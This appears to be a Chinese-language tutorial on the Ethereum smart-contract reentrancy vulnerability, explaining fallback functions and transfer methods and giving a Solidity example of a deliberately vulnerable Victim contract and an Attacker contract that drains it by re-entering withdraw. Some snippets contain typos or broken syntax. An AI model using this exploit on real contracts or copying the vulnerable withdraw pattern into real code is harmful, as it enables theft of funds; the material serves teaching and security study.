以太坊智能合约的特点之一是能够调用其他外部合约的代码,然而这些外部合约可能被攻击者劫持,迫使合约通过回退函数进一步执行代码,包括回调本身。在 gas 足够的情况下,合约之间甚至可以相互循环调用,直至达到 gas 的上限,但是如果循环中有转账之类的操作,就会导致严重的后果
function withdraw(){
require(msg.sender,call.value(balances[msg.sender])());
balances[msg.sender]=0;
}
这种函数大多存在于钱包、去中心化交易所中,目的是为了让用户提款,将合约中的代币转换成通用的以太币
但是有个问题是他没有先对用户的代币余额进行清零,而智能合约进行转账的时候会调用收款方 fallback 函数
合约可以有一个未命名的函数 —— Fallback 函数。这个函数不能有参数也不能有返回值。如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。
另外每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。如果不存在这样的函数,则合约不能通过常规交易接收以太币
如果构造一个 fallback 函数,函数里面也调用对方的 withdraw 函数的话,那将会产生一个循环调用转账功能,存在漏洞的合约会不断向攻击者合约转账,终止循环结束(以太坊 gas 有上限)
常用转币方式
.reansfer() 发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入 .send() 发送失败时,返回布尔值 false,只会传递 2300 个 gas 以供调用,从而防止重入 .gas().call.value()() 当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击 代码调试 pragma solidity ^0.4.19; contract Victim { mapping(address => uint) public userBalannce; uint public amount = 0; function Victim() payable{} function withDraw(){ uint amount = userBalannce[msg.sender]; if(amount > 0){ msg.sender.call.value(amount)(); userBalannce[msg.sender] = 0; } } function() payable{} function receiveEther() payable{ if(msg.value > 0){ userBalannce[msg.sender] += msg.value; } } function showAccount() public returns (uint){ amount = this.balance; return this.balance; } } contract Attacker{ uint public amount = 0; uint public test = 0; function Attacker() payable{} function() payable{ test++; Victim(msg.sender).withDraw(); } function showAccount() public returns (uint){ amount = this.balance; return this.balance; } function sendMoney(address addr){ Victim(addr).receiveEther.value(1 ether)(); } function reentry(address addr){ Victim(addr).withDraw(); } }